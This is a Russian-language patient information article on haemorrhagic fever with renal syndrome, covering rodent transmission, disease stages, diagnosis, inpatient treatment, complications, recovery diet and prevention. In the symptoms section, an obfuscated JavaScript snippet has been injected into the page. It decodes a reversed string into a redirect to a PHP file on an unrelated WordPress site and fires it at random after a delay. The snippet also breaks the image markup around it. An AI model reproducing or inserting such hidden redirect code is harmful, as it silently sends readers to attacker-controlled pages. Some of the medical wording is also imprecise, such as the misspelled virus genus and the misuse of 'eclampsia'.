В тёплые сезоны года городские жители стремятся провести выходные и праздничные дни на природе — в лесу, на даче. В это же время открывается дачный сезон, начинаются сельскохозяйственные работы. В этот период встречается множество случаев заболевания геморрагической лихорадкой с почечным синдромом (сокращённо ГЛПС).
Содержание
Возбудитель болезни
Геморрагическая лихорадка с почечным синдром (ГЛПС) – собирательное название нескольких похожих заболеваний, вызываемых вирусами рода Hantanaan семейства Bunyaviridae.
Синонимы: маньчжурский гастрит, геморрагический нефрозонефрит, лихорадка Сонго.
Данное заболевание распространено среди мышевидных грызунов на всей территории Российской Федерации. Вирус в большом количестве содержится в испражнениях больных животных, обитающих по берегам рек, в лесных массивах, на дачных участках. Все загрязнённые предметы служат источником заражения: растения, хранящиеся в зимний период в загородных домах белье, продукты, инвентарь. Риску подвержены работники сельского хозяйства, охотники, лесозаготовители, а также городские жители, выезжающие на дачи, турбазы, в санатории. В связи с этим для недуга характерен подъем заболеваемости в тёплый сезон года. Данная инфекционная патология всегда протекает в острой форме, перехода процесса в хроническую стадию не существует.
Механизм развития ГЛПС
От грызунов вирус передаётся человеку следующими путями:
- через вдыхаемый воздух, содержащий компоненты выделений больных животных, при уборке помещений после окончания зимнего сезона (воздушно-пылевой путь);
- через употребление в пищу продуктов и растений, загрязнённых мочой, слюной грызунов (алиментарный путь);
- при непосредственном контакте с больными животными (контактный путь);
Механизм развития болезни — видео
Передача вируса от человека к человеку исключена, поэтому больной опасности для окружающих не представляет.
Симптомы и стадии
В течении заболевания можно выделить несколько различных стадий.
- Время от первичного контакта с вирусом до проявления симптомов (инкубационный период) составляется от 4 до 49 дней, чаще всего 2–3 недели. За это время возбудитель преодолевает защитные барьеры организма, размножается в клетках, после чего в большом количестве попадёт в сосудистое русло и с током крови разносится по органам и тканям.
- Нахождение вируса в кровеносной системе распознаётся организмом, включается следующий механизм локализации и уничтожения возбудителя — повышение температуры. Наступает лихорадочный период заболевания. В данных условиях активируется иммунитет — защита человека от инфекционного возбудителя при помощи специфических клеток — белых телец крови (лейкоцитов разных видов), белков — антител, поступает команда боевой готовности к защитникам от вируса внутри клеток — белкам интерферонового ряда. За время циркуляции инфекции внутри сосудов возбудитель поражает стенку сосуда, приводит к образованию внутри просвета тромбов. В эту фазу заболевания наблюдается мучительная головная боль, ломота в мышцах, жажда, сухость во рту, боли в животе. На слизистой оболочке мягкого нёба, кожном покрове груди, шеи, лица, на склерах появляется геморрагическая мелкоточечная сыпь. Для этой фазы ГЛПС характерны редкий пульс и сниженное артериальное давление. Продолжительность периода в среднем 5–6 дней.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/05/gemorragicheskaya-syp-pri-glps-728×486.jpg» alt=»Геморрагическая сыпь при ГЛПС» width=»728″ height=»486″ /> Геморрагическая сыпь — типичный симптом ГЛПС
- Третий период болезни протекает на фоне ухудшения состояния и снижение до минимума количества выделяемой за сутки мочи (олигурический период). В основе олигурии лежит поражение вирусом сосудистой системы почек, в связи с чем в них страдают процессы образования мочи. Этот период характеризуется болями в поясничной области, слабостью, повышением артериального давления, тошнотой, рвотой.
- В четвёртом периоде (полиурическом) состояние больного постепенно улучшается. Клетки почек, пришедшие на смену повреждённым вирусом, недостаточно концентрируют мочу, поэтому её количество за сутки резко увеличивается и может достигать 5–6 литров (полиурия). Характерна слабость, одышка при физической нагрузке. Весь цикл заболевания охватывает временной промежуток в 3–4 недели.
В зависимости от выраженности симптомов различают степени тяжести заболевания:
- лёгкая степень протекает с невысокой лихорадкой, небольшим количеством геморрагической сыпи, кратковременной олигурией;
- средняя степень тяжести характеризуется всеми вышеперечисленными фазами без развития жизнеугрожающих осложнений;
- при тяжёлой форме резко выражена лихорадка, сыпь занимает большие площади кожного покрова, возможны носовые и желудочные кровотечения как следствие нарушения функции свёртывания, количество мочи уменьшается вплоть до полного её исчезновения;
Методы диагностики
К методам диагностики заболевания относятся:
- тщательный осмотр врача с целью выявления соответствующих условий для заражения вирусом (загородные поездки, отдых в лесу, сельскохозяйственные работы);
- в анализе крови в начале заболевания наблюдается снижение количества белых кровяных телец (лейкопения) вследствие использования их организмом внутри тканей для борьбы с возбудителем. Со второй фазы заболевания наблюдается обратный процесс — из-за активного производства белков-антител лейкоцитов в сосудистом русле становится больше;
- в моче присутствует в большом количестве белок (протеинурия), который в норме почти не определяется. Причиной является повреждение вирусом сосудистой системы почек, в связи с этим в мочу начинают просачиваться крупные объекты — белки;
- в период олигурии в крови происходит избыточное накопление продуктов разложения белков на составные компоненты — креатинина и мочевины, а также калия. В полиурический период происходит постепенное восстановление этих показателей.
- для подтверждения заражения вирусом используется выявление белков-антител крови в пробирке путём специальных методов (иммуноферментный анализ — ИФА).
Дифференциальная диагностика проводится с другими болезнями, сопровождающимися высокой лихорадкой, геморрагической сыпью и нарушением функции почек: грипп, клещевой энцефалит, лептоспироз, а также с рядом неинфекционных патологий: пиелонефрит, аппендицит, язва желудка.
Лечение геморрагической лихорадки с почечным синдромом: методы и варианты
Лечение проводится исключительно в стационарных условиях с соблюдением постельного режима весь период заболевания (3–4 недели). Самолечение может привести к развитию многих грозных осложнений и летальному исходу.
Используются следующие препараты:
- растворы для восполнения объёма крови и скорейшего выведения из организма продуктов жизнедеятельности возбудителя — Глюкоза, Натрия хлорид;
- витамины, укрепляющие сосудистую систему почек — Аскорбиновая кислота, Рутин;
- препараты, препятствующие образованию внутри сосудов мельчайших кровяных сгустков — Курантил;
- противовирусные препараты — Рибавирин;
- при тяжёлой степени заболевания противовоспалительные гормональные препараты — Преднизолон;
В случае развития осложнений применяется аппаратное очищение крови от продуктов разложения белков и других токсинов — гемодиализ. При выраженном нарушении свертывающей функции крови производят переливание её компонентов.
Прогноз и осложнения
При своевременном лечении прогноз благоприятный. При тяжёлых формах болезни к неблагоприятному исходу могут привести грозные осложнения:
- инфекционно-токсический шок происходит вследствие одномоментного появления в сосудистой системе большого количества возбудителей и характеризуется резким снижением пульса и артериального давления, нарушается доставка кислорода к тканям;
- острая дыхательная недостаточность происходит на фоне поражения большого количества ткани лёгких при развитии пневмонии;
- в третью фазу заболевания может происходить неконтролируемый подъем артериального давления (эклампсия), приводящий к отеку клеток головного мозга и кровоизлияниям;
- следствием нарушения свёртывающий свойств является ДВС — синдром. На первых этапах характеризуется образованием внутри сосудов множества кровяных сгустков. Как только в организме истрачены все компоненты процесса формирования тромба наступает фаза неконтролируемых кровотечений — носовых, желудочных, почечных, маточных;
Летальность при геморрагической лихорадке достигает нескольких процентов. Иммунитет после перенесённой инфекции стойкий пожизненный.
Реабилитационный период
Выписка из стационара осуществляется после исчезновения клинических проявлений болезни, восстановления функции почек и свёртывающей системы крови. На протяжении года после выздоровления с периодичностью один раз в три месяца проводится осмотр врача, измерение артериального давления, анализ мочи.
Рекомендуется в течение как минимум шести месяцев соблюдение диеты. К разрешённым продуктам относятся:
- каши;
- мясо и рыба на пару;
- вчерашний хлеб из отрубей и муки грубого помола;
- супы;
- фруктовое желе;
- нежирный творог;
Разрешённые к употреблению при ГЛПС продукты на фото
-
- Гемотрансфузия компонентов крови — важный аспект лечения нарушений свертывания крови при ГЛПС
-
- Препарат, с помощью которого определяются в крови антитела к ГЛПС
-
- Важное профилактическое метоприятие — уничтожение грызунов (дератизация)
-
- Переносчик вируса геморрагической лихорадки с почечным синдромом — полевая мышь
-
- Образования внутри сосудов кровяных сгустков — основа развития ДВС-синдрома
-
- Противовирусный препарат для лечения ГЛПС — рибавирин
-
- Геморрагическая сыпь — типичный симптом ГЛПС
-
- Переносчик вируса ГЛПС — полевая мышь
-
- Переносчик вируса ГЛПС — полевая мышь
-
- Очаги распространения вируса ГЛПС на территории Российской Федерации
-
- Алкогольные напитки
-
- Газированные напитки
-
- Жареное мясо
-
- Острые специи
-
- Шоколад
-
- Белый хлеб
-
- Свежая выпечка
-
- Фруктовое желе
-
- Хлеб из отрубей
-
- Рыба на пару
-
- Суп
-
- Каша
Следует по возможности избегать употребления следующих продуктов:
- белый хлеб;
- свежая выпечка;
- острые специи;
- жареное мясо и рыба;
- шоколад;
- жирный творог;
- копчёности;
- газированные напитки;
- алкоголь;
Запрещённая пища на фото
-
- Гемотрансфузия компонентов крови — важный аспект лечения нарушений свертывания крови при ГЛПС
-
- Препарат, с помощью которого определяются в крови антитела к ГЛПС
-
- Важное профилактическое метоприятие — уничтожение грызунов (дератизация)
-
- Переносчик вируса геморрагической лихорадки с почечным синдромом — полевая мышь
-
- Образования внутри сосудов кровяных сгустков — основа развития ДВС-синдрома
-
- Противовирусный препарат для лечения ГЛПС — рибавирин
-
- Геморрагическая сыпь — типичный симптом ГЛПС
-
- Переносчик вируса ГЛПС — полевая мышь
-
- Переносчик вируса ГЛПС — полевая мышь
-
- Очаги распространения вируса ГЛПС на территории Российской Федерации
-
- Алкогольные напитки
-
- Газированные напитки
-
- Жареное мясо
-
- Острые специи
-
- Шоколад
-
- Белый хлеб
-
- Свежая выпечка
-
- Фруктовое желе
-
- Хлеб из отрубей
-
- Рыба на пару
-
- Суп
-
- Каша
Профилактика
К профилактическим мероприятиям в очагах распространения геморрагической лихорадки этого типа относятся:
- уничтожение грызунов (дератизация);
- соблюдение мер личной гигиены при уборке помещений в начале дачного сезона (мытье рук, защитная маска, использование дезинфектантов);
- хранение зерна и других продуктов в недоступных для нападения грызунов местах;
Вакцинопрофилактика ГЛПС в нашей стране не разработана.
На протяжении тёплого времени года при выезде на отдых необходимо помнить и соблюдать правила гигиены в местах возможного присутствия грызунов и продуктов их жизнедеятельности. При появлении симптомов лихорадки необходимо немедленное обращение за медицинской помощью для проведения соответствующего лечения и предотвращения развития серьёзных осложнений.
